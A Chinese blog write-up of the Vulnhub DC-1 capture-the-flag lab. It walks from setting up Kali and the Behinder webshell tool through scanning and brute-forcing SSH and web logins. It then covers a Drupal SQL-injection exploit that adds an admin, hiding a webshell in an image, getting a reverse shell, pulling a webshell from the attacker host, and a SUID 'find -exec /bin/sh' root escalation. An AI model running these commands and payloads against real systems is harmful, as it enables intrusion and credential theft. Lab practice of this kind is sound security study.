Vulnhub DC-1靶机渗透攻击过程演练

Vulnhub DC-1靶机渗透攻击过程演练,第1张

Vulnhub DC-1靶机渗透攻击过程演练 Vulnhub DC-1靶机渗透攻击过程演练 DC-1介绍

Vulnhub 社区上收集了很多由世界各地的安全爱好者提供的靶机环境,DC-1 就是其中之一。通过对靶机的攻击挑战,加强了解渗透攻击的过程思路,总结渗透测试经验。
在介绍中了解到,DC-1靶机总共有5个flag,最终目标是在root目录中找到并读取flag。可以不用root用户,但是需要root用户权限。

环境准备 序号名称用途备注1DC-1靶机受攻击主机VMware环境部署2Kali攻击主机VMware环境部署,渗透过程中会用到Kali上多种工具3其他Webshell及管理工具等可以在Windows下运行,也可以找能在Kali运行的 搭建DC-1靶机
  1. 从Vulnhub社区下载DC-1的虚拟机镜像
  2. 解压得到.ova文件,导入VMware,创建虚拟机
  3. 修改虚拟机的网卡配置,让DC-1虚拟机能自动获取到IP地址,建议选择nat模式
  4. 开启DC-1虚拟机即可,不需要登录到DC-1虚拟机 *** 作



部署安装Kali

Kali镜像下载地址: https://www.kali.org/get-kali/
下载iso镜像引导安装,或下载WM虚拟机文件直接导入
为简化实验环境,方便演练,建议Kali网卡也使用nat模式

其他工具准备
  1. webshell:小马(一句话木马)、大马
  2. webshell管理工具,如: Behinder(冰蝎)、Godzilla(哥斯拉)、AntSword(蚁剑)、中国菜刀等
    这里使用的冰蝎,一款优秀的webshell管理工具,支持加密连接,各种变形绕过防御。
    下载工具解压后,在server目录下有几个常用的 webshell 可以使用。
Windows环境

需要先安装jdk1.8,并配置环境变量
从官网下载Oracle jdk 1.8,需要注册账号登录
https://www.oracle.com/java/technologies/downloads/#java8-windows

配置步骤:

  1. 双击.exe的安装程序,按提示一步一步完成安装
  2. 打开【系统属性】-【高级】-【环境变量】,新建下表中的3个系统变量:
  3. 检查环境变量配置,cmd窗口中输入 java -vresion
序号变量名变量值1CLASSPATH.;%JAVA_HOME%lib;%JAVA_HOME%libtools.jar2Path%JAVA_HOME%bin;%JAVA_HOME%jrebin;3JAVA_HOMEC:Program FilesJavajdk1.8.0_291

注意: JAVA_HOME 的变量值需根据实际的安装路径来配置




Java 环境变量配置好之后,双击解压后的 Behinder.jar 即可打开冰蝎

Kali环境
wget https://github.com/rebeyond/Behinder/releases/download/Behinder_v3.0_Beta_11/Behinder_v3.0_Beta_11.t00ls.zip
unzip Behinder_v3.0_Beta_11.t00ls.zip



java -jar Behinder.jar 直接运行,可能会提示错误:

错误提示缺少javafx环境,需要单独下载javafx SDK 的lib目录拷贝到冰蝎的相同目录下
Kali 默认安装的是 openjdk 11,我这里换成了 Oracle jdk 11,再下载 javafx SDK 解压后得到 lib 拷贝至冰蝎的目录,没有测试在 openjdk 11的环境下直接拷贝。理论上是一样的,不需要换成 Oracle jdk,下载 javafx SDK 解压拷贝即可。
注意:一般不建议改 Kali 的 JDK 版本,因为 Kali 中有其他工具依赖于现有版本的 JDK

从官网下载Oracle jdk 11,需要注册账号登录
https://www.oracle.com/java/technologies/downloads/#java11

解压安装jdk 11

tar -zxvf jdk-11.0.13_linux-x64_bin.tar.gz
mv jdk-11.0.13 /opt/
update-alternatives --install /usr/bin/java java /opt/jdk-11.0.13/bin/java 1
update-alternatives --install /usr/bin/javac javac /opt/jdk-11.0.13/bin/javac 1
update-alternatives --set java /opt/jdk-11.0.13/bin/java
update-alternatives --set javac /opt/jdk-11.0.13/bin/javac
java -version




下载 javafx SDK:https://openjfx.cn/dl/

unzip openjfx-11.0.2_linux-x64_bin-sdk.zip					# 解压
cd javafx-sdk-11.0.2
ls
cp -rf lib /home/kali/Desktop/lib							# 复制到Behinder.jar所在目录





切换到 Behinder.jar 所在目录,再次运行 java -jar Behinder.jar

渗透过程 收集信息

目标探测,如:扫描域名、IP、开放端口、确认其使用的软件版本、框架版本等

扫描IP

DC-1靶机是自动获取IP,且和Kali在同一个局域网内,可以使用nmap扫描Kali的C段尝试找到目标IP
首先 ifconfig 查看Kali IP 为:192.168.64.134

nmap -sP 192.168.64.0/24 扫描C段中存活的主机,192.168.64.135就是目标靶机的IP了

扫描端口

nmap -T4 -sC -sV 192.168.64.135 扫描目标靶机的开放端口,可以看到一些有用的信息:

  • 22/TCP openssh版本 6.0p1
  • 80/TCP apche httpd 版本2.2.22、使用了 Drupal 7 (CMS 开源框架,PHP语言编写)
  • 111/TCP rpcbind 服务器
查看Web

访问目标靶机的80端口:http://192.168.64.135 ,是Drupal 7 后台管理web的登录页面

漏洞挖掘 首先尝试从弱密码入手 ssh弱密码

先使用**metasploit framework(简称MSF)**枚举用户名,然后尝试爆破密码

msfconsole								   # 开启MSF
search ssh_enum							   # 查找ssh_enum关键字相关exp
use auxiliary/scanner/ssh/ssh_enumusers    # 或 use 0 (数字0为上面search列出结果的编号)
show options							   # 查看选项,根据选项中的描述信息配置参数

#这个exp中需要配置的参数:
set rhost 192.168.64.135				   # 设置目标主机IP
set USER_FILE /home/kali/userlist.txt      # 设置用户名文件路径(此文件为提前编辑好的文件)
run										   # 开始跑exp



枚举用户名列表如下,这里只列了几个常用的用户名

结果显示 SSH - User 'root' found ,root用户存在。

接下来是使用字典爆破root用户的密码,工具的选择有很多,可以看文末的参考链接,这里使用 **hydra(九头蛇)**进行爆破

hydra -h										       # 查看帮助
hydra -l root -P passwd.txt -t 30 192.168.64.135 ssh   # -t 30 表示开启30个任务并发去爆破目标


新建测试的字典,passwd.txt

显然字典太弱鸡,没有爆出密码

若爆破成功,会出现下面提示:

web弱密码

Kali 上打开 burpsuite

设置代理(默认已配置)

firefox 添加代理扩展插件

输入关键字 proxy 搜索

挑一个自己喜欢的代理插件,这里选择 Proxy SwitchyOmega



添加代理插件后,右上角菜单栏圆形图标就是 Proxy SwitchyOmega,选择options 去设置代理


改个名称,后续直接点击圆形图标,选择对应的代理名称就可以开始抓包了


开启代理后,brupsuite 抓到包会d出提示,如下图
Forward 向前,表示放行当前抓的包,Drop 则是丢弃停止发送数据包到服务器

回到Firefox ,访问 http://192.168.64.135 打开Drupal 的登录页面,任意输入用户名密码登录

burpsuite 抓到包并d出提示,可以看到刚刚输入的用户名密码 admin /admin 为明文传输

接着进行爆破尝试,在当前包的页面鼠标右键菜单中选择 Send to Intruder

选择 Intruder 的 Position,先删除全部 payload 标记

依次选择用户名和密码的位置,标记为 payload


攻击类型选择 pitchfork

切换到 payload ,在payload set 1 (即用户名的变量设置)中,添加两个较为可能的用户名:adimin 、root


在payload set 2 (即密码的变量设置)中,载入密码字典

点击 Start Attack 开始爆破攻击

社区版本功能有限制,可以在网上找其他版本


那就只能设置固定用户名,密码作为 payload 依次去爆破



在输出的结果中,观察 Status(即返回状态码)和 Length(数据包长度),可以排序方便查看
若登录成功,一般情况下,状态码和数据包长度的值会发生变化,下图是爆破成功的例子:

但是需要注意的一点,如果线程太高,爆破太过频繁,网站会将攻击主机的IP锁死,如下图:

很遗憾,web弱密码的爆破也是以失败告终

寻找其他工具、CVE和EXP 在搜索引擎、论坛、博客、GitHub上查找

GitHub上有个CMS扫描器 droopescan,介绍中写支持Drupal,正好可以在Kali安装扫描DC-1试试

按照作者的安装说明,使用推荐的pip安装

apt-get install python3-pip
pip install droopescan



droopescan -h 查看帮助

droopescan scan drupal -u http://192.168.64.135 开始扫描靶机试试

在输出的扫描结果中,可以看到:

  • plugins:脚本语言PHP
  • 可能的版本:7.22~7.26
  • 用户登录页面
    其他看不太懂,好像没有什么可以利用的
上cve和exp网站查

cve: https://www.cvedetails.com/
exp: https://www.exploit-db.com/
可以通过 https://www.cvedetails.com/ 这个网站搜索到某个软件的各个版本的CVE。score(分值)越高的CVE,漏洞危害越大或越容易被利用;反之,分值小则说明这个CVE被利用所造成的危害程度较小或利用条件较为苛刻。CVE中也详细说明了受影响的软件版本,以及漏洞类型等


https://www.exploit-db.com/ 这个网站上有大量的经过或未经验证的 exp,其实有很多exp实际上已经集成到 Kali 上了,可以直接在 Kali 搜索并使用

Kali 漏洞库搜索

在 Kali 上搜索 exp,除了上文 ssh弱密码 中提到的,在 msfconsole 去 search

若msf中找到的exp太少,还可以使用 searchsploit drupal 搜索的结果明显是比msf的exp多

漏洞利用

我们再过滤一下 searchsploit drupal |grep 7 droopescan扫描结果中的可能的版本是7.22~7.26,那就选择符合条件的exp,这里有一个 SQL 注入添加admin用户的exp

locate php/webapps/34992.py 查询到这个exp文件路径,然后拷贝到当前目录下,方便查看使用(建议查询前先执行 updatedb 更新locate的数据库)

这个exp是一个python脚本,仔细查看脚本,可以发现exp的用法


测试:创建一个用户名密码为abc的账户 python 34992.py -t http://192.168.64.135 -u abc -p abc

提示创建成功

web登录测试,成功!

再web页面随意点点,就看到了第一个flag


flag3是靶机作者的温馨提示:需要执行什么命令来找到密码。不太明白,按正常的思路,继续收集信息看看,发现用户信息编辑这里可以上传图片


测试看看有没有文件上传的漏洞,补充页面上的必填信息,上传一张jpeg的图片

提示修改成功,可以看到上传的图片


接着再上传一个webshell,看看会有什么反应。不过在真实的攻击环境不会这么直接,因为很容易被防火墙识别并拦截掉。这里靶机环境就直接上传冰蝎server目录下的 shell.php,这个 webshell 的默认链接密码 rebeyond



果然是不行的,提示信息中显示,shell.php 被重命名为 shell.php.txt 了,且网站只支持上传jpeg、png、gif后缀的图片。此时我们可以用burpsuite 代理抓包,上传 jpeg后缀的webshell。jpeg后缀的webshell,一种方法是将shell.php直接改名为shell.jpeg,有可能会校验非图像文件,不让上传;另外一种方法就是在真正的图片中插入webshell代码。
先是直接上shell.jpeg 看看
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-yp6gisM7-1638185905505)(Vulnhub-DC_1%E9%9D%B6%E6%9C%BA%E6%B8%97%E9%80%8F%E6%94%BB%E5%87%BB%E8%BF%87%E7%A8%8B%E6%BC%94%E7%BB%83.assets/image-20211119130030440.png)]

不允许上传

那就试试第二种方法

cd /home/kali/Desktop/server && ls
cd /home/kali/Downloads && ls
cat /home/kali/Desktop/server/shell.php >> 1.jpeg     # 将shell.php的文件内容追加到1.jpeg末尾


tail -n 30 1.jpeg 查看 1.jpeg 文件的末30行,可以看到我们的webshell脚本

因为文件头部是正常的,图片也还是可以正常打开显示

再次上传测试,上传之前我们先把图片改个名




forward 之后,可以看到web页面提示上传成功

webshell 是成功上传到服务器了,怎么利用到这个 webshell 是个问题
鼠标点击上传的图片,并不像有些网站,可以直接跳转链接到这个图片的地址来放大预览,只是跳转到这个user/5的信息页面上


但是可以通过分析 burpsuite 抓到的数据包,有可能会找到更多的信息

src=“http://192.168.64.135/sites/default/files/styles/thumbnail/public/pictures/picture-5-1637323156.jpg?itok=r1FbjuEj”
仔细观察这个url,可以发现图片被改成jpg了,编码格式发生了变化,很有可能插入到里面的webshell代码已经没有了,这个url也是不能直接访问到的

文件上传这条路行不通,只能找其他exp来试试,各种查找,在msf中有个反dshell的exp拿来试试


反dshell建立后, ls 就看到了 flag1

仔细观察会发现这里有个sites目录,一层一层进去,就会发现这个就是前面图片上传的真实目录,为了验证,我这里重新又上传了几次带webshell的图片,所以名称和之前burpsuite抓包的不一样,但有一点是可以确定的,追加到末尾的webshell代码不见了


cat flag1.txt DC-1作者的提示是找drupal 的config文件

再发一个shell,在这个连接中交互,可以更好的执行Linux命令,敲 whoami 返回用户名是www-data,是个低权限的用户


既然前面上传的webshell不能访问,索性试下能不能从服务器上直接下载一个webshell到/var/www目录下,因为这个index的目录一般情况都可以访问到
先试试wget或curl命令能不能用,输入 wget -h 或 crul -h 有返回就说明命令可以使用

那就用 wget 把Kali上的冰蝎webshell下载到靶机上,在冰蝎的目录下执行 python3 -m http.server 快速开启一个http的服务

浏览器访问测试

再反dshell的DC-1靶机上去下载webshell,注意文件的路径

下载完,ls 确认文件已经成功下载到靶机

浏览器访问正常

使用冰蝎连接测试


成功连接到webshell

冰蝎webshell中除了有命令执行,还有一个文件管理,可以树状结构查看当前用户有权限访问的文件,更直观一些。回过头看flag1.txt的提示:Every good CMS needs a config file - and so do you. 应该是要找到某个配置文件,再仔细翻一翻,搜集更多的可用信息。
这里有个取巧的方法:

find /var/www/  -iname "*flag*"           # 在/var/www/目录下搜索文件名中含有“flag”的文件
grep -rin flag2 /var/www				  # 在/var/www/目录下搜索含有“flag2”的文件

找到一个含有 “flag2” 的文件,是在 /var/www/sites/default/settings.php 文件中的第5行

cat /var/www/sites/default/settings.php 查看这个文件,可以作者的flag提示,还有数据库的信息

按作者的设计逻辑,flag2应该是为拿到flag3做出的提示。而flag2的大概意思是:暴破不是拿到权限的唯一方法(你将需要访问权限),你能用这些证书做什么?
后续可以再研究一下flag3,看看php/webapps/34992.py这个exp是否用到了作者提示的证书,如果没有用到,那作者提到的证书又改如何利用?
使用上面的数据库信息去连接测试,数据库连接成功

展开左侧的数据库,可以看到有个users表,里面有uid、name、pass这些列。直接执行SQL语句 select * from users 查询到所有的用户信息。但不知为什么前面exp创建的abc用户不在这里,于是我利用exp再次创建了一个aaaaa的用户,密码为aaaaa


这里的用户都是web后台登录的用户,权限应该是一样的,费心思去拿admin的权限,好像意思也不大,这里做个测试。密码虽然是加密的,但是我们可以用sql语句把它改成和已知密码一样的字符串,就比如aaaaa


admin的密码就改成了aaaaa,登录测试成功

翻译一下flag3的提示:特殊的PERMS将帮助查找passwd——但您需要执行该命令,以确定如何获取隐藏的内容。passwd应该指的一个文件,并且需要提权才能访问到,用前面寻找flag2的方法,根目录下再仔细找找看

find / -iname "*flag4*"           # 在/目录下搜索文件名中含有“flag4”的文件
grep -rin flag4 /				  # 在/目录下搜索含有“flag4”的文件

很简单就找到了flag4,而且不难看出,flag4是一个用户名


还剩下最后一个flag,没有关键字“flag5”,只能搜关键字”flag“看,不过也很简单,一下就找到了 thefinalflag.txt


这个finalflag是在/root,普通用户是没有权限查看的,只能想办法提权了

权限提升

使用find命令查找有特殊权限suid的命令,suid可以给予访问者这个文件的临时权限,如果权限为root的话当访问者调用这个程序时访问者权限临时变为root

find / -perm -4000                      			# 查找具有suid权限的文件,4000是suid的代号
find /var/www -name shell.php -exec "/bin/sh" ; 	# 指定一个文件名去find,/bin/sh调用shell
whoami 												# 查看权限			
cat /root/thefinalflag.txt							# 查看thefinalflag.txt


正如DC-1作者在介绍中写的:最后一个flag在root目录中,可以不用拿到root用户,但是可以用root用户权限读取到这个flag文件。
至此,全部flag都拿到了!但是并没有按作者的设计思路顺序地拿到每一个flag,这也说明渗透攻击的方法可以有很多种,并不局限于特定的某种方法,需要有一定渗透思路,结合Linux、数据库、web知识,以及常见漏洞原理和渗透工具的使用等,再打出一套漂亮的组合拳。

flag号路径flag1/var/www/flag1.txtflag2/var/www/sites/default/settings.php 文件中的第5行flag3web页面中的内容flag4/home/flag4/flag4.txtthefinalflag/root/thefinalflag.txt 参考文章

https://www.freebuf.com/articles/web/293407.html
https://blog.csdn.net/weixin_47975351/article/details/119996517
Kali爆破使用方法:https://blog.csdn.net/weixin_44286136/article/details/110634277
searchsploit漏洞查找工具使用指南: https://www.freesion.com/article/1052595730/
find 命令详解:https://www.runoob.com/linux/linux-comm-find.html
suid权限说明:https://www.jianshu.com/p/4ea1e6aa2aa7

欢迎分享,转载请注明来源:内存溢出

原文地址: http://outofmemory.cn/zaji/5619771.html

(0)
打赏 微信扫一扫 微信扫一扫 支付宝扫一扫 支付宝扫一扫
上一篇 2022-12-15
下一篇 2022-12-15

发表评论

登录后才能评论

评论列表(0条)

保存